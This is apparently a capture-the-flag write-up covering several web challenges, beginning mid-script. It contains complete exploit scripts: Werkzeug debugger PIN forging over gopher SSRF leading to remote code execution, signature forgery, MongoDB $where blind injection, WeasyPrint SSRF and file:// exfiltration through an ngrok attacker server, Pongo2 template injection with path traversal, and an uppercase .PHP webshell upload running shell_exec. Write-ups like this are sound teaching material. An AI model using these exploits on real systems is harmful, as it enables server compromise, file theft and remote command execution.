        secret_key=secret_key,
        salt="cookie-session",
        serializer=TaggedJSONSerializer(),
        signer_kwargs={"key_derivation": "hmac", "digest_method": hashlib.sha1},
    )


def get_initial_session_cookie() -> str:
    r = requests.get(BASE_URL + "/", timeout=10)
    r.raise_for_status()
    if "session" not in r.cookies:
        raise RuntimeError("No Flask session cookie received from /")
    return r.cookies["session"]


def iter_random_word_candidates(min_len: int = 12):
    # The challenge uses random_word.RandomWords() which defaults to the Local
    # service and picks a random key from words.json.
    from random_word.services.local import Local

    with open(Local().source, "r", encoding="utf-8") as f:
        data = json.load(f)

    for w in data.keys():
        if isinstance(w, str) and len(w) >= min_len:
            yield w


def crack_flask_secret_key(session_cookie: str) -> str:
    for candidate in iter_random_word_candidates(min_len=12):
        s = get_flask_serializer(candidate)
        try:
            s.loads(session_cookie)
        except BadSignature:
            continue
        return candidate

    raise RuntimeError("Failed to crack Flask secret key")


def sign_admin_session(secret_key: str) -> str:
    s = get_flask_serializer(secret_key)
    return s.dumps({"is_admin": True})


def fetch_as_admin(admin_session_cookie: str, url: str) -> str:
    r = requests.post(
        BASE_URL + "/fetch",
        cookies={"session": admin_session_cookie},
        data={"url": url},
        timeout=25,
    )
    r.raise_for_status()

    m = re.search(r"<pre>(.*?)</pre>", r.text, flags=re.S)
    if not m:
        return ""
    return html.unescape(m.group(1))


def gopher_http_get(host: str, port: int, request_bytes: bytes) -> str:
    # gopher://host:port/_<urlencoded-payload>
    payload = urllib.parse.quote_from_bytes(request_bytes)
    return f"gopher://{host}:{port}/_{payload}"


def get_debugger_secret(admin_session_cookie: str, internal_port: int) -> str:
    console_html = fetch_as_admin(
        admin_session_cookie, f"http://127.0.0.1:{internal_port}/console"
    )
    m = re.search(r'SECRET\s*=\s*"([A-Za-z0-9]+)"', console_html)
    if not m:
        raise RuntimeError("Failed to extract Werkzeug debugger SECRET from /console")
    return m.group(1)


def compute_werkzeug_pin_cookie_name_and_pin(
    *,
    username: str,
    mac_int_str: str,
    machine_id_bytes: bytes,
    app_name: str,
    modname: str = "flask.app",
    mod_file: str = "/usr/local/lib/python3.11/site-packages/flask/app.py",
):
    # Same algorithm as werkzeug.debug.get_pin_and_cookie_name.
    probably_public_bits = [username, modname, app_name, mod_file]
    private_bits = [mac_int_str, machine_id_bytes]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode()
        h.update(bit)
    h.update(b"cookiesalt")
    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format groups the same way Werkzeug does.
    pin = None
    for group_size in (5, 4, 3):
        if len(num) % group_size == 0:
            pin = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    if pin is None:
        pin = num

    return cookie_name, pin


def werkzeug_hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


def find_working_pin_trust_cookie(admin_session_cookie: str, internal_port: int) -> str:
    # Read inputs used by Werkzeug pin generation.
    machine_id = fetch_as_admin(admin_session_cookie, "file:///etc/machine-id").strip()
    mac = fetch_as_admin(
        admin_session_cookie, "file:///sys/class/net/eth0/address"
    ).strip()
    passwd = fetch_as_admin(admin_session_cookie, "file:///etc/passwd")

    m = re.search(r"^([^:]+):x:1000:1000:", passwd, flags=re.M)
    if not m:
        raise RuntimeError("Failed to determine username for uid 1000 from /etc/passwd")
    username = m.group(1)

    mac_int_str = str(int(mac.replace(":", ""), 16))
    machine_id_bytes = machine_id.encode()

    # Try the two realistic app-name cases depending on how the app was wrapped.
    for app_name in ("Flask", "wsgi_app"):
        cookie_name, pin = compute_werkzeug_pin_cookie_name_and_pin(
            username=username,
            mac_int_str=mac_int_str,
            machine_id_bytes=machine_id_bytes,
            app_name=app_name,
        )
        trust_value = f"{int(time.time())}|{werkzeug_hash_pin(pin)}"
        cookie_header = f"{cookie_name}={trust_value}"

        # Verify by requesting /console and checking EVALEX_TRUSTED.
        raw_req = (
            f"GET /console HTTP/1.1\r\n"
            f"Host: 127.0.0.1:{internal_port}\r\n"
            f"Cookie: {cookie_header}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode()
        out = fetch_as_admin(
            admin_session_cookie, gopher_http_get("127.0.0.1", internal_port, raw_req)
        )
        body = out.split("\r\n\r\n", 1)[1] if "\r\n\r\n" in out else out
        if "EVALEX_TRUSTED = true" in body:
            return cookie_header

    raise RuntimeError("Failed to generate a working Werkzeug trust cookie")


def rce_readflag(admin_session_cookie: str, internal_port: int) -> str:
    for _ in range(3):
        secret = get_debugger_secret(admin_session_cookie, internal_port)
        trust_cookie_header = find_working_pin_trust_cookie(
            admin_session_cookie, internal_port
        )

        py_cmd = '__import__("os").popen("/readflag").read()'
        path = (
            "/console?__debugger__=yes&cmd="
            + urllib.parse.quote(py_cmd, safe="")
            + "&frm=0&s="
            + secret
        )
        raw_req = (
            f"GET {path} HTTP/1.1\r\n"
            f"Host: 127.0.0.1:{internal_port}\r\n"
            f"Cookie: {trust_cookie_header}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode()

        out = fetch_as_admin(
            admin_session_cookie,
            gopher_http_get("127.0.0.1", internal_port, raw_req),
        )
        body = out.split("\r\n\r\n", 1)[1] if "\r\n\r\n" in out else out
        body = html.unescape(body)

        m = re.search(r"ENO\{[^}]+\}", body)
        if m:
            return m.group(0)

    raise RuntimeError("Failed to extract flag from debugger output")


def main() -> None:
    # The service may restart and rotate the Flask secret. If that happens
    # between fetching the cookie and using the forged admin cookie, retry.
    for _ in range(5):
        session_cookie = get_initial_session_cookie()
        secret_key = crack_flask_secret_key(session_cookie)
        admin_cookie = sign_admin_session(secret_key)

        probe = requests.get(
            BASE_URL + "/fetch", cookies={"session": admin_cookie}, timeout=10
        )
        if probe.status_code != 200:
            continue

        # Port 5004 externally maps to port 5000 inside the container.
        flag = rce_readflag(admin_cookie, internal_port=5000)
        print(flag)
        return

    raise RuntimeError("Failed to get a stable admin session (service restarting?)")


if __name__ == "__main__":
    main()
```

### Pasty

#### Description

The service creates “pastes” and returns a URL like `view.php?id=<id>&sig=<sig>`. Viewing requires a valid signature. The provided `sig.php` implements the signing algorithm.

Goal: forge a valid signature for `id=flag` to read the flag paste.

#### Solution

From `attachments/sig.php`, let:

* `H = sha256(d)` (32 bytes) split into 4 blocks `H0..H3` (8 bytes each)
* `m = sha256(key)[0:24]` split into 3 blocks `M0,M1,M2` (8 bytes each)
* For each block `i`, the scheme selects `Ci = M[ H[i*8] % 3 ]` and outputs:
  * `S0 = H0 xor C0`
  * `Si = Hi xor Ci xor S(i-1)` for `i>0`

Because `d` (the paste id) is known and `S` is returned by the server, we can compute `Hi` and solve for `Ci`:

* `C0 = H0 xor S0`
* `Ci = Hi xor Si xor S(i-1)` for `i>0`

Each `Ci` is literally one of the three 8-byte blocks of `m`, so a single observed `(id, sig)` often reveals all `M0..M2` (otherwise a few created pastes will). Once `m` is recovered, we can compute valid signatures for any `id`, including `flag`.

Solution code (runs the full attack and prints the `view.php` response):

```python
#!/usr/bin/env python3
import hashlib
import re
import secrets
from urllib.parse import parse_qs, urlparse

import requests


def bxor(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def create_paste(base_url: str, content: str) -> tuple[str, str]:
    r = requests.post(
        f"{base_url}/create.php",
        data={"content": content},
        allow_redirects=False,
        timeout=10,
    )
    loc = r.headers.get("Location", "")
    url_param = parse_qs(urlparse(loc).query).get("url", [None])[0]
    if not url_param:
        raise RuntimeError(f"Missing url= in redirect Location: {loc!r}")
    view_url = requests.utils.unquote(url_param)
    q = parse_qs(urlparse(view_url).query)
    return q["id"][0], q["sig"][0]


def derive_m_segments(paste_id: str, sig_hex: str) -> dict[int, bytes]:
    h = hashlib.sha256(paste_id.encode()).digest()
    s = bytes.fromhex(sig_hex)

    seg: dict[int, bytes] = {}
    for i in range(4):
        off = i * 8
        hi = h[off : off + 8]
        si = s[off : off + 8]
        prev = s[off - 8 : off] if i else b"\x00" * 8

        ci = bxor(bxor(hi, si), prev) if i else bxor(hi, si)
        t = h[off] % 3
        seg[t] = ci
    return seg


def compute_sig(paste_id: str, m24: bytes) -> bytes:
    h = hashlib.sha256(paste_id.encode()).digest()
    out = b""
    prev = b""
    for i in range(4):
        off = i * 8
        b = h[off : off + 8]
        p = (h[off] % 3) * 8
        c = m24[p : p + 8]
        block = bxor(b, c) if i == 0 else bxor(bxor(b, c), prev)
        out += block
        prev = block
    return out


def main() -> None:
    base_url = "http://52.59.124.14:5005"

    recovered: dict[int, bytes] = {}
    examples: list[tuple[str, str]] = []
    for _ in range(32):
        pid, sig = create_paste(base_url, secrets.token_hex(8))
        examples.append((pid, sig))
        for idx, seg in derive_m_segments(pid, sig).items():
            if idx in recovered and recovered[idx] != seg:
                raise RuntimeError("Inconsistent recovery; scheme mismatch?")
            recovered[idx] = seg
        if len(recovered) == 3:
            break

    if len(recovered) != 3:
        raise RuntimeError(f"Failed to recover all segments, got {sorted(recovered)}")

    m24 = recovered[0] + recovered[1] + recovered[2]

    test_id, test_sig = examples[-1]
    if compute_sig(test_id, m24).hex() != test_sig:
        raise RuntimeError("Sanity check failed (computed sig != observed sig)")

    flag_sig = compute_sig("flag", m24).hex()
    r = requests.get(
        f"{base_url}/view.php",
        params={"id": "flag", "sig": flag_sig},
        timeout=10,
    )
    m = re.search(r"ENO\\{[^}]+\\}", r.text)
    if not m:
        raise SystemExit("Flag not found in response (already viewed/deleted?)")
    print(m.group(0))


if __name__ == "__main__":
    main()
```

### CVE DB

#### Description

A web CVE “database” exposes a search form (`POST /search`) and renders results as HTML. One CVE entry (CVE-1337-1337) hints that it “leaks some very confidential flag”, but the likely flag-containing fields (`product` / `vendor`) are not rendered in the template.

#### Solution

The backend implements “search” without SQL. The `query` parameter is ultimately evaluated inside a MongoDB JavaScript predicate (e.g. a `$where`-style expression) that uses a JavaScript regex literal like `/<USER_INPUT>/.test(...)`. Because user input is inserted unescaped into a regex literal inside executable JS, we can *break out* of the literal and inject additional boolean conditions that reference non-rendered fields like `this.product`.

We use the HTML response as an oracle:

* If our injected predicate is true for CVE-1337-1337, the page contains 1 rendered result.
* Otherwise, it contains 0 results.

Injection pattern (conceptual):

* Close the server’s regex literal, append our conditions, then open a new harmless regex literal to keep the overall expression syntactically valid.

A working payload for prefix-testing the hidden `product` field:

* `a/.test(this.description)&&this.product&&this.product.match(/^<prefix>/)&&/a`

This makes the predicate true only when `this.product` starts with `<prefix>`. Repeating this test character-by-character yields the full `product` string, which is the flag.

Below is the complete extraction script used:

```python
#!/usr/bin/env python3
"""Blind extraction of flag from CVE DB via MongoDB $where injection"""
import requests
import re
import string
import sys

URL = "http://52.59.124.14:5000/search"
CHARSET = string.ascii_uppercase + string.ascii_lowercase + string.digits + "_-!@#$%^&*()+={}[]|:;<>,. "

def check(prefix):
    escaped = re.escape(prefix)
    payload = f'a/.test(this.description)&&this.product&&this.product.match(/^{escaped}/)&&/a'
    r = requests.post(URL, data={'query': payload}, timeout=10)
    count = r.text.count('class="cve-id"')
    return count > 0

known = "ENO{T"
print(f"Starting from: {known}", flush=True)

while True:
    found = False
    for c in CHARSET:
        test = known + c
        if check(test):
            known = test
            print(f"Flag so far: {known}", flush=True)
            found = True
            if c == '}':
                print(f"\n*** FLAG: {known} ***", flush=True)
                sys.exit(0)
            break
    if not found:
        print(f"No match found after: {known}", flush=True)
        break

print(f"Result: {known}", flush=True)
```

Running it recovers the flag:

`ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}`

### Web 2 Doc 1

#### Description

A Flask app converts URLs to PDFs using WeasyPrint 68.1. A protected `/admin/flag` endpoint returns `200 OK` only when the correct flag character is guessed at a given index, otherwise `404`. It requires the request to come from localhost (`is_localhost(request.remote_addr)`) and must NOT have the `X-Fetcher: internal` header.

The converter flow: user submits URL → server validates (blocks private IPs) → fetches HTML (adds `X-Fetcher: internal`) → passes to WeasyPrint → PDF returned. WeasyPrint loads sub-resources (images, CSS, fonts) through a custom `url_fetcher` that blocks private IP addresses.

#### Solution

**Two key bypasses** were needed:

1. **`0.0.0.0` bypasses the private IP filter**: The custom `url_fetcher` uses Python's `ipaddress` module to check if resolved IPs are private. In Python versions before 3.11, `ipaddress.ip_address("0.0.0.0").is_private` returns `False`, yet connecting to `0.0.0.0` on Linux routes to the loopback interface (localhost). This bypasses the SSRF filter while still reaching the local Flask app.
2. **Flask runs on port 5000 internally**: The external service is on port 5002 (likely behind a reverse proxy), but Flask's default port 5000 is the actual internal listener. Testing `0.0.0.0:5000` confirmed the oracle worked.

**Oracle mechanism**: WeasyPrint renders `alt` text for `<img>` tags when the image fetch fails (HTTP 404/error), but suppresses it when the fetch returns HTTP 200 (even if the response isn't a valid image). Since `/admin/flag` returns 200 for correct guesses and 404 for wrong ones, checking for the presence of alt text in the PDF reveals whether a character guess is correct.

**Attack flow**:

1. Host an attacker server via ngrok that serves HTML pages with `<img src="http://0.0.0.0:5000/admin/flag?i=N&c=X" alt="MISS">`
2. Submit the ngrok URL to the converter
3. WeasyPrint loads the sub-resource image → `url_fetcher` sees `0.0.0.0` (not private) → allows request → connects to localhost:5000
4. Extract PDF text: if "MISS" is absent, the character is correct
5. Batch 15 characters per request with unique markers (`M065`, `M066`, etc.) to speed up extraction

```python
#!/usr/bin/env python3
"""Solver for Web 2 Doc 1 - Blind SSRF via 0.0.0.0 bypass + img alt oracle."""

import http.server, html, os, re, subprocess, sys, threading, time, urllib.parse, requests

TARGET = "http://52.59.124.14:5002"
LOCAL_PORT = 8888
INTERNAL_HOST = "0.0.0.0"
INTERNAL_PORT = 5000
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-!?.,"

class OracleServer(http.server.BaseHTTPRequestHandler):
    ngrok_url = ""
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/oracle_batch":
            i = int(params.get("i", ["0"])[0])
            chars = params.get("chars", [""])[0]
            img_tags = []
            for c in chars:
                c_enc = urllib.parse.quote(c, safe="")
                flag_url = html.escape(
                    f"http://{INTERNAL_HOST}:{INTERNAL_PORT}/admin/flag?i={i}&c={c_enc}",
                    quote=True)
                img_tags.append(f'<img src="{flag_url}" alt="M{ord(c):03d}">')
            page = f"<!doctype html><html><body><p>X</p>{''.join(img_tags)}</body></html>"
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.end_headers()
            self.wfile.write(page.encode())
            return
        if parsed.path == "/oracle":
            i = int(params.get("i", ["0"])[0])
            c = params.get("c", ["E"])[0]
            c_enc = urllib.parse.quote(c, safe="")
            flag_url = html.escape(
                f"http://{INTERNAL_HOST}:{INTERNAL_PORT}/admin/flag?i={i}&c={c_enc}",
                quote=True)
            page = f'<!doctype html><html><body><p>X</p><img src="{flag_url}" alt="MISS"></body></html>'
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.end_headers()
            self.wfile.write(page.encode())
            return
        self.send_response(404); self.end_headers()
    def log_message(self, *a): pass

def start_server(port):
    httpd = http.server.ThreadingHTTPServer(("0.0.0.0", port), OracleServer)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()

def get_ngrok_url():
    for _ in range(10):
        try:
            resp = requests.get("http://127.0.0.1:4040/api/tunnels", timeout=3)
            for t in resp.json().get("tunnels", []):
                if t.get("proto") == "https": return t["public_url"]
        except: time.sleep(1)
    return None

def solve_captcha(session):
    r = session.get(f"{TARGET}/", timeout=15)
    m = re.search(r'Math Challenge:\s*([^=]+)=\s*\?', r.text)
    return str(eval(m.group(1).strip())) if m else None

def convert_url(session, url):
    for _ in range(3):
        answer = solve_captcha(session)
        if not answer: continue
        try:
            r = session.post(f"{TARGET}/convert",
                data={'url': url, 'captcha_answer': answer}, timeout=120)
            if r.status_code == 200 and r.content[:4] == b'%PDF': return r.content
        except: time.sleep(1)
    return None

def pdf_text(pdf_bytes):
    return subprocess.run(['pdftotext', '-', '-'], input=pdf_bytes,
        capture_output=True, timeout=10).stdout.decode('utf-8', errors='replace')

def test_batch(session, ngrok_url, i, chars):
    url = f"{ngrok_url}/oracle_batch?i={i}&chars={urllib.parse.quote(chars, safe='')}"
    pdf = convert_url(session, url)
    if not pdf: return None
    text = pdf_text(pdf)
    for c in chars:
        if f"M{ord(c):03d}" not in text: return c
    return False

def main():
    start_server(LOCAL_PORT)
    ngrok_url = get_ngrok_url()
    if not ngrok_url:
        subprocess.Popen(['ngrok', 'http', str(LOCAL_PORT)],
            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        time.sleep(3)
        ngrok_url = get_ngrok_url()
    OracleServer.ngrok_url = ngrok_url
    session = requests.Session()
    flag = "ENO{"
    i = 4
    while True:
        for batch_start in range(0, len(CHARSET), 15):
            batch = CHARSET[batch_start:batch_start+15]
            result = test_batch(session, ngrok_url, i, batch)
            if result and result is not False:
                flag += result
                print(f"[+] {flag}")
                if result == '}':
                    print(f"FLAG: {flag}")
                    return flag
                i += 1; break
        else:
            print(f"Stuck at position {i}, flag so far: {flag}")
            return flag

if __name__ == "__main__":
    main()
```

**Flag: `ENO{weasy_pr1nt_can_h4v3_bl1nd_ssrf_OK!}`**

### Web 2 Doc 2

#### Description

A URL-to-PDF converter service (WeasyPrint 68.1) identical to Web2Doc v1, but with the `/admin/flag` endpoint removed. The goal is to read `/flag.txt` from the server filesystem.

The service takes a URL, fetches the HTML content, and converts it to PDF using WeasyPrint. Direct `file://` and localhost URLs are blocked at the application level, but WeasyPrint processes sub-resources from the fetched HTML using its default URL fetcher.

#### Solution

The key vulnerability is WeasyPrint's `<a rel="attachment">` feature, which embeds referenced files directly into the PDF as attachments. When the HTML contains an anchor tag with `rel="attachment"` and an `href` pointing to a `file://` URL, WeasyPrint's internal URL fetcher resolves and attaches the file — bypassing the application's URL validation which only checks the top-level URL.

**Attack flow:**

1. Host an HTML page on a public server containing: `<a rel="attachment" href="file:///flag.txt">flag</a>`
2. Submit the public URL to the converter
3. The app fetches the HTML (passes validation since it's a valid HTTP URL)
4. WeasyPrint processes the HTML and encounters the attachment link
5. WeasyPrint's default URL fetcher reads `file:///flag.txt` and embeds it in the PDF
6. Extract the attachment from the PDF using `pdfdetach`

**Exploit server (`server.py`):**

```python
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        html = """<html><body>
<a rel="attachment" href="file:///flag.txt">flag</a>
</body></html>"""
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(html.encode())

HTTPServer(('0.0.0.0', 9876), Handler).serve_forever()
```

**Solve script (`solve.py`):**

```python
#!/usr/bin/env python3
import requests
import re
import subprocess
import sys

BASE = "http://52.59.124.14:5003"

def get_captcha_and_convert(url, output="output.pdf"):
    s = requests.Session()
    resp = s.get(BASE + "/")
    match = re.search(r'class="captcha-display">([^<]+)<', resp.text)
    captcha = match.group(1)
    data = {'url': url, 'captcha_answer': captcha}
    resp = s.post(BASE + "/convert", data=data)
    if resp.status_code == 200 and 'pdf' in resp.headers.get('Content-Type', '').lower():
        with open(output, 'wb') as f:
            f.write(resp.content)
        return output
    return None

# Usage: python3 solve.py <ngrok-url>/payload
# 1. Start server.py, expose via ngrok: ngrok http 9876
# 2. Submit the ngrok URL to the converter
ngrok_url = sys.argv[1]
pdf = get_captcha_and_convert(ngrok_url)
if pdf:
    # Extract embedded attachment
    subprocess.run(['pdfdetach', '-save', '1', '-o', 'flag.txt', pdf])
    with open('flag.txt') as f:
        print(f"Flag: {f.read()}")
```

**Extraction:**

```bash
pdfdetach -list output.pdf   # Shows: 1: flag.txt
pdfdetach -save 1 -o flag.txt output.pdf
cat flag.txt
```

**Flag:** `ENO{weasy_pr1nt_can_h4v3_f1l3s_1n_PDF_att4chments!}`

### WordPress Static Site Generator

#### Description

A web application at `52.59.124.14:5001` converts WordPress export XML files into static HTML websites using Go's Pongo2 template engine. The goal is to read `/flag.txt` from the server.

The app has two steps:

1. **Upload** a WordPress XML file (stored on disk with a session-linked UUID)
2. **Generate** a static site by selecting a template name (loads `templates/<name>.html` via Pongo2)

#### Solution

The vulnerability is a **Pongo2 Server-Side Template Injection (SSTI)** combined with **path traversal** on the template parameter.

**Key observations:**

* The template parameter constructs the path `templates/<user_input>.html` — path traversal is not filtered
* Uploaded files are stored at `uploads/<session_id>/<original_filename>` and the filename is user-controlled
* The upload filename can have a `.html` extension, matching what the template loader appends
* The session cookie (Go gorilla sessions, base64-encoded) contains the `id` (upload directory UUID) and `uploaded_file` name

**Attack chain:**

1. Upload a file containing Pongo2 template code `{%include "/flag.txt"%}` with filename `evil.html`
2. Decode the session cookie to extract the upload UUID
3. Use path traversal in the template parameter (`../uploads/<uuid>/evil`) to load the uploaded file as a Pongo2 template
4. Pongo2 executes `{%include "/flag.txt"%}` and returns the flag

```bash
#!/bin/bash
TARGET="http://52.59.124.14:5001"
WORKDIR="$(dirname "$0")"

# Step 1: Create a Pongo2 template that includes the flag
echo '{%include "/flag.txt"%}' > "$WORKDIR/payload.xml"

# Step 2: Upload with .html extension
curl -s -X POST \
  -F "wordpress_xml=@$WORKDIR/payload.xml;filename=evil.html" \
  "$TARGET/upload" \
  -c "$WORKDIR/cookies.txt" \
  -o /dev/null

# Step 3: Extract UUID from session cookie (gorilla sessions, gob-encoded)
COOKIE=$(grep wp-session "$WORKDIR/cookies.txt" | awk '{print $NF}')
ID=$(python3 -c "
import base64, re
cookie = '$COOKIE'
data = base64.urlsafe_b64decode(cookie + '==')
inner_b64 = data.decode('latin-1').split('|')[1]
inner = base64.urlsafe_b64decode(inner_b64 + '===')
inner_text = inner.decode('latin-1')
m = re.search(r'[0-9a-f]{32}', inner_text)
if m: print(m.group())
")

# Step 4: Path traversal to load uploaded file as Pongo2 template
curl -s -X POST \
  -d "template=../uploads/$ID/evil" \
  "$TARGET/generate" \
  -b "$WORKDIR/cookies.txt"
```

**Flag:** `ENO{PONGO2_T3MPl4T3_1NJ3cT1on_!s_Fun_To00!}`

### Virus Analyzer

#### Description

A web application ("Virus Analyzer") at `52.59.124.14:5008` accepts ZIP file uploads, extracts them, and serves the extracted files. No source code was provided. The server runs PHP 8.3.30 on PHP's built-in development server.

#### Solution

**Reconnaissance:** The application accepts ZIP uploads, extracts them to `/uploads/{random_hash}/`, and lists the extracted files with download links. The `X-Powered-By: PHP/8.3.30` header identifies the backend. The 404 page format confirms PHP's built-in development server (`php -S`).

**Identifying the vulnerability:** Uploading a `.php` file inside a ZIP showed it in the file listing, but accessing it returned a 404 from the built-in server. Testing other extensions (`.txt`, `.html`, `.xml`, etc.) all worked fine - only `.php` was blocked.

The source code (recovered after exploitation) revealed the "safety measure":

```php
$cmd = "(sleep 0 && find " . escapeshellarg($extract_dir) . " -name '*.php' -delete ) > /dev/null 2>&1 &";
exec($cmd);
```

This uses `find -name '*.php'` to delete PHP files after extraction. On Linux, glob matching is **case-sensitive**, so `*.php` only matches lowercase `.php` files.

**Exploitation:** PHP's built-in development server treats `.PHP`, `.Php`, `.pHP` (any case variation) as PHP files and executes them. By uploading a webshell with an uppercase `.PHP` extension, the deletion command misses it while the server still executes it as PHP.

```python
import zipfile, subprocess, re

# Create ZIP with uppercase .PHP webshell
with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr('cmd.PHP', '<?php echo shell_exec($_GET["c"]); ?>')

# Upload the ZIP
r = subprocess.run(
    ['curl', '-s', '-X', 'POST', '-F', 'zipfile=@exploit.zip', 'http://52.59.124.14:5008/'],
    capture_output=True, text=True
)
url = re.findall(r'href="(/uploads/[^"]*)"', r.stdout)[0]
shell_url = f'http://52.59.124.14:5008{url}'

# Execute commands via the webshell
r = subprocess.run(
    ['curl', '-s', f'{shell_url}?c=cat+/flag.txt'],
    capture_output=True, text=True
)
print(r.stdout)  # ENO{R4C1NG_UPL04D5_4R3_FUN}
```

**Flag:** `ENO{R4C1NG_UPL04D5_4R3_FUN}`
